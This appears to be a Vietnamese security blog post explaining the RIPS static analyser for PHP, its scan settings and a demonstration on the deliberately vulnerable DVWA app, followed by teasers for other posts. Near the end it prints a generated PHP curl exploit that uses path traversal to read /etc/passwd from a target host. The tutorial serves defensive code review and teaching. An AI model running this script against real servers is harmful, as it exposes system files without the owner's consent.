Chuyển đến nội dung chính

Sử dụng RIPS trong phân tích tĩnh lỗ hổng mã nguồn PHP



1. Giới thiệu:
RIPS là công cụ dò quét tự động lỗ hổng dựa trên mã nguồn tĩnh được viết bằng PHP. RIPS chia nhỏ và phân tích cú pháp của toàn bộ source code từ đó phát hiện những hàm không an toàn (có khả năng làm rò rỉ thông tin) mà có thể bị người dùng sử dụng để khai thác thông tin.

2. Download:
– Yêu cầu: Web Server, php5.6, trình duyệt.

3. Tính năng:
– Phát hiện: Code Exection, Command Execution, Cross-Site Scripting (XSS), Header Injection, File Disclosure, File Inclusion, File Manipulation, LDAP Injection, SQL Injection …
– 5 chế độ cho việc debug kết quả.
– Đánh dấu những dòng code nguy hiểm có khả năng chứa lỗ hổng trong “Review Code”.
– Highlight biến trong “Review Code”.

4. Giao diện:
– RIPS có giao diện thân thiện, dễ sử dụng:
– “path/file”: Đường dẫn tới file hoặc folder cần quét.

– “subdirs”: quét tất cả các subdirectory

– “verbosity level”:

        + “1. User tainted only”: chỉ quét những hàm không an toàn (có nguy cơ chứa lỗ hổng) có thể bị khai thác từ phía người dùng.

        + “2. File/DB tainted +1”: chỉ nhận định xem file hay database có khả năng chứa những nguy hiểm từ input của người dùng hay không.

        + “3. Show Secure +1,2”: Đưa ra thông báo các hàm có nguy cơ chứa lỗ hổng nhưng đã được bảo mật (điều này quan trọng trong việc phát hiện những hàm thiếu bảo mật, thỉnh thoảng sẽ rất khó phát hiện ra những hàm này dựa trên việc phân tích code tĩnh).

        + “4. Untainted +1,2,3”: Đưa ra thêm thông tin về những thành phần mà RIPS phát hiện được trong lúc quét.

        + “5. Debug Mode”: Đưa ra tất cả các lệnh gọi những hàm có khả năng chứa lỗ hổng, tuy nhiên ở chế độ này có thể đưa ra nhiều trường hợp “false positive”.

– “vuln type”: các loại lỗ hổng bảo mật cần quét

– “code style”: phps, code-dark, ayti, …, bottom-up/top-down.

– “file”:

        + “list”: danh sách file đã quét

        + “graph”: đưa ra danh sách file đã quét dưới dạng hình ảnh đồ thị trực quan

– “User input”: đưa ra các lệnh người dùng có thể sử dụng và dòng chứa lệnh đó trong code.

– “Stats”: Thống kê kết quả lần quét gần nhất

– “Function”: liệt kê tất cả các hàm trong dữ liệu được quét.

5. Thực hành
Bài viết sử dụng Damn Vulnerable Web Application (DVWA). Đây là một mã nguồn mở cho phép thực hiện rất nhiều phép thử trên đó với nhiều mức độ khác nhau.


Ví dụ về File Inclusion:
– Đầu tiên chúng ta nhập đường dẫn đến file chứa thư mục “file inclusion” của DVWA, cài đặt chế độ quét, sau khi quét sẽ cho ra kết quả như hình vẽ:
=> RIPS thống kê kết quả cho thấy đã quét 11 file và phát hiện 9 lỗi bảo mật file inclusion, thành công 4/6 lần thử, …

Bấm vào chức năng file bên trên, chọn Graph:
Ở mỗi kết quả, RIPS chỉ ra lỗ hổng bảo mật có thể tồn tại ở hàm nào, cách vá lỗi, ngoài ra RIPS cũng cung cấp một vài chức năng hữu ích như:
- “Review code”         
- “Get help”                
- “Generate exploit”  


Trong “review code”, có thể thấy một vài dòng code có khả năng chứa lỗ hổng bảo mật sẽ được đánh dấu:

Trong “get help” chứa rất nhiều thông tin cần thiết như: Định nghĩa lỗ hổng bảo mật do hàm gây ra, mô tả về lỗ hổng này, ví dụ về lỗi, cách vá lỗi cũng như đưa ra gợi ý sử dụng những hàm an toàn hơn.

– “Generate exploit”: tùy vào loại lỗ hổng đang khai thác mà điền parameter hợp lý để exploit, sau đó “Create” thì RIPS sẽ generate ra một đoạn payload PHP, đóng gói payload lại thành một module PHP, việc generate này không tự động exploit mà chỉ hỗ trợ người dùng trong việc exploit thủ công nhanh hơn (người dùng chỉ cần nhập payload trên giao diện).
Payload:

#!/usr/bin/php -f
<?php
#
# index.php curl exploit
#

//
// HTTP GET,

//
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/index.php?page=../../../../../../../etc/passwd");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;

?>
Nguồn: Internet

Nhận xét

Bài đăng phổ biến từ blog này

HttpOnly Flag và Secure Flag của chiếc Cookie để làm gì?

Cookies rất hữu ích nhưng cũng tồn tại không ít rủi ro. Bài viết sau đây giúp tìm hiểu rõ thêm về 2 thuộc tính giúp bảo vệ Cookies là Httponly flag   và Secure flag.   Nếu anh em mò vào được bài này thì chắc cũng biết về Cookie rồi, nhưng còn hiểu lơ mơ    thì click vào đây trước nhé -  Cookie . Chuyện kể rằng, ngày xửa ngày xưa, có một "nghệ sĩ" nọ do không sao kê tiền từ thiện nên đã bị hacker tấn công chiếm rất nhiều tài khoản do bị mất cookie.  1. Tại sao lại mất?   Nguyên nhân "nghệ sĩ" bị mất thông tin cá nhân là do quá chủ quan khi click đọc email do rất nhiều "fan" gửi cho, trong những email đó có gắn đường link chứa mã độc đánh cắp cookie của 1 trang web nào đó.  Do cookies phản hồi từ server mà các đường link đó dẫn tới không được bảo vệ     nên đã bị đối tượng xấu lấy mất cookies chứa xác thực đăng nhập -> dẫn tới mất thông tin. Về mặt bản chất, cũng có thể hiểu đây như là một cuộc tấn công XSS , đối tượng gửi email sẽ execute một đoạn scri

[CTF] Làm thế nào để bắt đầu với CTF mảng Web

Web là một trong những mảng dễ tiếp cận khi chơi CTF. Vậy bắt đầu CTF mảng Web như thế nào? Giờ đặt một website trước mặt mình thì không thể cứ thế mà làm. Làm gì? Tìm flag - một chuỗi bí mật do người ra đề giấu ở đâu đó quanh cái web. Muốn tìm được nó trước hết phải xem đề bài gợi ý cái gì, cho cái gì, trong web có gì, làm sao để khai thác mấy cái đó. Từ đây lại có một vấn đề: Phải hiểu về web trước đã. Nói thêm một chút là ở bài viết này mình sẽ không đi sâu vào chi tiêt, mình chỉ dừng lại ở việc đặt ra các vấn đề quan trọng mà các bạn cần tìm hiểu. Web hoạt động thế nào? Chúng ta sẽ cần nắm kiến thức về web qua những vấn đề như thế này:   - Cách hoạt động của web từ phía client cho đến phía server sẽ có những gì?   - Client gửi request cho server và nhận lại response như thế nào? Qua đâu? (HTTP, HTTP Header, HTTP Methods)   - Cách client và server lưu trữ thông tin của nhau (qua cơ sở dữ liệu, cookie, session, …).   - Các ngôn ngữ cấu thành 1 trang web hoặc thường được dùng khi

Những câu hỏi phỏng vấn kỹ sư bảo mật thường gặp.

Dưới đây là một danh sách các câu hỏi thường được sử dụng trong việc phỏng vấn tuyển dụng chuyên gia bảo mật. Nhiều câu hỏi được thiết kế buộc người được phỏng vấn phải suy nghĩ, và không thể chuẩn bị trước cho dạng câu hỏi này. Ở đó, các phản ứng của ứng viên cũng quan trọng  như câu trả lời. Một số câu hỏi được pha trộn giữa kỹ thuật và lý thuyết, hoặc câu hỏi tìm hiểu quan điểm của ứng viên để tạo ra những câu hỏi khó khăn hơn. Các câu hỏi cũng thường được chia thành các thể loại khác nhau, một số câu hỏi mẹo sẽ được chèn vào giữa. Mục đích của những câu hỏi dạng đánh đố này là tìm kiếm những điểm yếu kỹ thuật thường chỉ xuất hiện khi ứng viên đi vào làm việc :| . Nhóm câu hỏi chung 1. Giữa các dự án mã mở và mã đóng, bên nào bảo mật hơn? Câu trả lời của ứng viên sẽ nói rất nhiều về họ. Nó cho thấy 1) họ biết những khái niệm gì trong phát triển phần mềm, 2) cho thấy mức độ chín chắn của ứng viên. Mục tiêu chính của câu hỏi là đưa ra được ưu/ nhược điểm của hệ mã đóng và mã m